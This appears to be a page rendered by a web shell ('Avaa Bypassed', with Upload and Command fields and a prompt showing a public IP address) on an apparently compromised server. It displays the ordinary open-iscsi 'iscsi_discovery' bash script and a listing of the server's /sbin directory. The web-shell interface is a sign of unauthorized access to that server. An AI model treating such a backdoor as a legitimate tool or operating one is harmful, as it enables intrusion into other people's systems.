404

[ Avaa Bypassed ]




Upload:

Command:

botdev@3.145.199.42: ~ $
#!/bin/bash
#
# Copyright (C) Voltaire Ltd. 2006.  ALL RIGHTS RESERVED.
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 59 Temple
# Place, Suite 330, Boston, MA 02111-1307 USA
#
# Author: Dan Bar Dov <danb@voltaire.com>

# iscsi_discovery:
#    * does a send-targets discovery to the given IP
#    * set the transport type to the preferred transport (or tcp is -t flag is not used)
#    * tries to login
#    * if succeeds,
#          o logout,
#          o mark record autmatic (unless -m flag is used)
#    * else
#          o reset transport type to TCP
#          o try to login
#          o if succeeded
#                + logout
#                + mark record automatic (unless -m flag is used)
#

usage()
{
	echo "Usage: $0 <IP> [-p <port>] [-d] [-t <tcp|iser> [-f]] [-m] [-l]"
	echo "Options:"
	echo  "-p		set the port number (defualt is 3260)."
	echo  "-d		print debugging information"
	echo  "-t		set transport (default is tcp)."
	echo  "-f		force specific transport -disable the fallback to tcp (default is fallback enabled)."
	echo  "			force the transport specified by the argument of the -t flag."
	echo  "-m		manual startup - will set manual startup (default is automatic startup)."
	echo  "-l		login to the new discovered nodes (defualt is false)."
}

dbg()
{
	$debug && echo $@
}

initialize()
{
	trap "exit" 2
	debug=false
	force="0"
	log_out="1"
	startup_manual="0"
	#set defualt transport to tcp
	transport=tcp
	#set defualt port to 3260
	port=3260;
}

parse_cmdline()
{
	if [ $# -lt 1 ]; then
		usage
		exit 1
	fi

	# check if the IP address is valid
	ip=`echo $1 | awk -F'.' '$1 != "" && $1 <=255 && $2 != "" && $2 <= 255 && $3 != "" && $3 <= 255 && $4 != "" && $4 <= 255 {print $0}'`
	if [ -z "$ip" ]; then
		echo "$1 is not a vaild IP address!"
		exit 1
	fi
	shift
	while getopts "dfmlt:p:" options; do
	 case $options in
		d ) debug=true;;
		f ) force="1";;
		t ) transport=$OPTARG;;
		p ) port=$OPTARG;;
		m ) startup_manual="1";;
		l ) log_out=0;;
		\? ) usage
			exit 1;;
		* )  usage
			exit 1;;
	 esac
	done
}

discover()
{
	# If open-iscsi is already logged in to the portal, exit
	if [ $(iscsiadm -m session | grep -c ${ip}:${port}) -ne 0 ]; then
		echo "Please logout from all targets on ${ip}:${port} before trying to run discovery on that portal"
		exit 2
	fi

	connected=0
	discovered=0

	dbg "starting discovery to $ip"
	disc="$(iscsiadm -m discovery --type sendtargets --portal ${ip}:${port})"
	echo "${disc}" | while read portal target
	do
		portal=${portal%,*}
		select_transport
	done

	discovered=$(echo "${disc}" | wc -l)
	if [ ${discovered} = 0 ]; then
		echo "failed to discover targets at ${ip}"
		exit 2
	else
		echo "discovered ${discovered} targets at ${ip}"
	fi
}

try_login()
{
	if [ "$startup_manual" != "1" ]; then
		iscsiadm -m node --targetname ${target} --portal ${portal} --op update -n node.conn[0].startup -v automatic
	fi
	iscsiadm -m node --targetname ${target} --portal ${portal} --login >/dev/null 2>&1
	ret=$?
	if [ ${ret} = 0 ]; then
		echo "Set target ${target} to automatic login over ${transport} to portal ${portal}"
		((connected++))
		if [ "$log_out" = "1" ]; then
			iscsiadm -m node --targetname ${target} --portal ${portal} --logout
		fi
	else
		echo "Cannot login over ${transport} to portal ${portal}"
		iscsiadm -m node --targetname ${target} --portal ${portal} --op update -n node.conn[0].startup -v manual
	fi
	return ${ret}
}

set_transport()
{
	transport=$1
	case "$transport" in
	iser)
		# iSER does not use digest
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.HeaderDigest -v None
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.DataDigest -v None
		;;
	cxgb3i)
		# cxgb3i supports <= 16K packet (BHS + AHS + pdu payload + digests)
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.MaxRecvDataSegmentLength \
			-v 8192
		;;
	esac
	transport_name=`iscsiadm  -m node -p ${portal} -T ${target} |awk '/transport_name/ {print $1}'`
	iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n ${transport_name} -v ${transport}
}

select_transport()
{
	set_transport $transport
	dbg "Testing $transport-login to target ${target} portal ${portal}"
	try_login;
	if [ $? != 0 -a  "$force" = "0" ]; then
		set_transport tcp
		dbg "starting to test tcp-login to target ${target} portal ${portal}"
		try_login;
	fi
}

check_iscsid()
{
	#check if iscsid is running
	pidof iscsid &>/dev/null
	ret=$?
	if [ $ret -ne 0 ]; then
		echo "iscsid is not running"
		echo "Exiting..."
		exit 1
	fi
}

check_iscsid
initialize
parse_cmdline "$@"
discover

Filemanager

Name Type Size Permission Actions
acpi_available File 112 B 0755
agetty File 55.23 KB 0755
apm_available File 81 B 0755
apparmor_parser File 1.41 MB 0755
badblocks File 26.01 KB 0755
blkdeactivate File 14.49 KB 0755
blkdiscard File 26.08 KB 0755
blkid File 86.11 KB 0755
blockdev File 38.07 KB 0755
brctl File 30.08 KB 0755
bridge File 86.16 KB 0755
capsh File 17.99 KB 0755
cfdisk File 94.44 KB 0755
cgdisk File 182.17 KB 0755
chcpu File 22.07 KB 0755
crda File 9.99 KB 0755
cryptdisks_start File 1.11 KB 0755
cryptdisks_stop File 1.16 KB 0755
cryptsetup File 86.23 KB 0755
cryptsetup-reencrypt File 80.96 KB 0755
ctrlaltdel File 18.07 KB 0755
debugfs File 217.47 KB 0755
depmod File 146.18 KB 0755
devlink File 78.16 KB 0755
dhclient File 488.42 KB 0755
dhclient-script File 15.25 KB 0755
dmeventd File 46.08 KB 0755
dmsetup File 158.8 KB 0755
dmstats File 158.8 KB 0755
dosfsck File 58.08 KB 0755
dosfslabel File 54.08 KB 0755
dumpe2fs File 26.08 KB 0755
e2fsck File 306.72 KB 0755
e2image File 34.08 KB 0755
e2label File 102.25 KB 0755
e2undo File 18.07 KB 0755
ebtables File 5.99 KB 0755
ebtables-restore File 9.99 KB 0755
ebtables-save File 1.63 KB 0755
ethtool File 338.9 KB 0755
fatlabel File 54.08 KB 0755
fdisk File 122.13 KB 0755
findfs File 10.07 KB 0755
fixparts File 62.17 KB 0755
fsadm File 23.5 KB 0755
fsck File 46.13 KB 0755
fsck.cramfs File 34.11 KB 0755
fsck.ext2 File 306.72 KB 0755
fsck.ext3 File 306.72 KB 0755
fsck.ext4 File 306.72 KB 0755
fsck.fat File 58.08 KB 0755
fsck.minix File 90.1 KB 0755
fsck.msdos File 58.08 KB 0755
fsck.vfat File 58.08 KB 0755
fsck.xfs File 433 B 0755
fsfreeze File 10.07 KB 0755
fstab-decode File 5.99 KB 0755
fstrim File 42.08 KB 0755
gdisk File 190.17 KB 0755
getcap File 9.99 KB 0755
getpcaps File 9.99 KB 0755
getty File 55.23 KB 0755
halt File 178.08 KB 0755
hdparm File 128.18 KB 0755
hwclock File 58.19 KB 0755
ifconfig File 77.11 KB 0755
init File 1.54 MB 0755
insmod File 146.18 KB 0755
installkernel File 2.58 KB 0755
integritysetup File 39.66 KB 0755
ip File 545.12 KB 0755
ip6tables File 92.74 KB 0755
ip6tables-restore File 92.74 KB 0755
ip6tables-save File 92.74 KB 0755
ipmaddr File 17.99 KB 0755
iptables File 92.74 KB 0755
iptables-restore File 92.74 KB 0755
iptables-save File 92.74 KB 0755
iptunnel File 21.99 KB 0755
iscsi-iname File 9.99 KB 0755
iscsi_discovery File 5.16 KB 0755
iscsiadm File 381.95 KB 0755
iscsid File 398.15 KB 0755
iscsistart File 358.13 KB 0755
isosize File 22.08 KB 0755
iw File 199.41 KB 0755
kbdrate File 9.99 KB 0755
killall5 File 22.08 KB 0755
ldconfig File 387 B 0755
ldconfig.real File 1001.67 KB 0755
logsave File 10 KB 0755
losetup File 82.19 KB 0755
lsmod File 146.18 KB 0755
lvchange File 2.42 MB 0755
lvconvert File 2.42 MB 0755
lvcreate File 2.42 MB 0755
lvdisplay File 2.42 MB 0755
lvextend File 2.42 MB 0755
lvm File 2.42 MB 0755
lvmconf File 12.55 KB 0755
lvmconfig File 2.42 MB 0755
lvmdiskscan File 2.42 MB 0755
lvmdump File 10.07 KB 0755
lvmetad File 82.13 KB 0755
lvmpolld File 70.45 KB 0755
lvmsadc File 2.42 MB 0755
lvmsar File 2.42 MB 0755
lvreduce File 2.42 MB 0755
lvremove File 2.42 MB 0755
lvrename File 2.42 MB 0755
lvresize File 2.42 MB 0755
lvs File 2.42 MB 0755
lvscan File 2.42 MB 0755
mdadm File 577.4 KB 0755
mdmon File 321.24 KB 0755
mii-tool File 18.46 KB 0755
mkdosfs File 34.5 KB 0755
mke2fs File 126.31 KB 0755
mkfs File 10.07 KB 0755
mkfs.bfs File 30.08 KB 0755
mkfs.cramfs File 34.01 KB 0755
mkfs.ext2 File 126.31 KB 0755
mkfs.ext3 File 126.31 KB 0755
mkfs.ext4 File 126.31 KB 0755
mkfs.fat File 34.5 KB 0755
mkfs.minix File 78.09 KB 0755
mkfs.msdos File 34.5 KB 0755
mkfs.ntfs File 78.11 KB 0755
mkfs.vfat File 34.5 KB 0755
mkfs.xfs File 423.52 KB 0755
mkhomedir_helper File 18.02 KB 0755
mkntfs File 78.11 KB 0755
mkswap File 78.08 KB 0755
modinfo File 146.18 KB 0755
modprobe File 146.18 KB 0755
mount.fuse File 9.99 KB 0755
mount.lowntfs-3g File 106.67 KB 0755
mount.ntfs File 142.7 KB 0755
mount.ntfs-3g File 142.7 KB 0755
mount.vmhgfs File 42.16 KB 0755
nameif File 14.14 KB 0755
ntfsclone File 54.12 KB 0755
ntfscp File 34.1 KB 0755
ntfslabel File 26.1 KB 0755
ntfsresize File 70.12 KB 0755
ntfsundelete File 50.1 KB 0755
on_ac_power File 2.16 KB 0755
pam_extrausers_chkpwd File 34 KB 2755
pam_extrausers_update File 34 KB 0755
pam_tally File 10.01 KB 0755
pam_tally2 File 14.01 KB 0755
parted File 78.09 KB 0755
partprobe File 10.07 KB 0755
pivot_root File 10.07 KB 0755
plipconfig File 10 KB 0755
plymouthd File 90.25 KB 0755
poweroff File 178.08 KB 0755
pvchange File 2.42 MB 0755
pvck File 2.42 MB 0755
pvcreate File 2.42 MB 0755
pvdisplay File 2.42 MB 0755
pvmove File 2.42 MB 0755
pvremove File 2.42 MB 0755
pvresize File 2.42 MB 0755
pvs File 2.42 MB 0755
pvscan File 2.42 MB 0755
rarp File 32.45 KB 0755
raw File 14.07 KB 0755
reboot File 178.08 KB 0755
regdbdump File 9.99 KB 0755
resize2fs File 58.07 KB 0755
rmmod File 146.18 KB 0755
route File 64.3 KB 0755
rtacct File 40.13 KB 0755
rtmon File 50 KB 0755
runlevel File 178.08 KB 0755
runuser File 42.07 KB 0755
setcap File 9.99 KB 0755
setvtrgb File 14.13 KB 0755
sfdisk File 106.08 KB 0755
sgdisk File 174.17 KB 0755
shadowconfig File 885 B 0755
shutdown File 178.08 KB 0755
slattach File 40.45 KB 0755
start-stop-daemon File 35.1 KB 0755
sulogin File 46.08 KB 0755
swaplabel File 14.07 KB 0755
swapoff File 18.07 KB 0755
swapon File 46.08 KB 0755
switch_root File 14.07 KB 0755
sysctl File 22.07 KB 0755
tc File 453.79 KB 0755
telinit File 178.08 KB 0755
tipc File 53.99 KB 0755
tune2fs File 102.25 KB 0755
udevadm File 574.4 KB 0755
umount.udisks2 File 9.99 KB 0755
unix_chkpwd File 34 KB 2755
unix_update File 34 KB 0755
ureadahead File 34.34 KB 0755
veritysetup File 35.45 KB 0755
vgcfgbackup File 2.42 MB 0755
vgcfgrestore File 2.42 MB 0755
vgchange File 2.42 MB 0755
vgck File 2.42 MB 0755
vgconvert File 2.42 MB 0755
vgcreate File 2.42 MB 0755
vgdisplay File 2.42 MB 0755
vgexport File 2.42 MB 0755
vgextend File 2.42 MB 0755
vgimport File 2.42 MB 0755
vgimportclone File 2.42 MB 0755
vgmerge File 2.42 MB 0755
vgmknodes File 2.42 MB 0755
vgreduce File 2.42 MB 0755
vgremove File 2.42 MB 0755
vgrename File 2.42 MB 0755
vgs File 2.42 MB 0755
vgscan File 2.42 MB 0755
vgsplit File 2.42 MB 0755
wipefs File 38.08 KB 0755
wpa_action File 1.69 KB 0755
wpa_cli File 135.74 KB 0755
wpa_supplicant File 2.16 MB 0755
xfs_repair File 631.16 KB 0755
xtables-multi File 92.74 KB 0755
zramctl File 90.19 KB 0755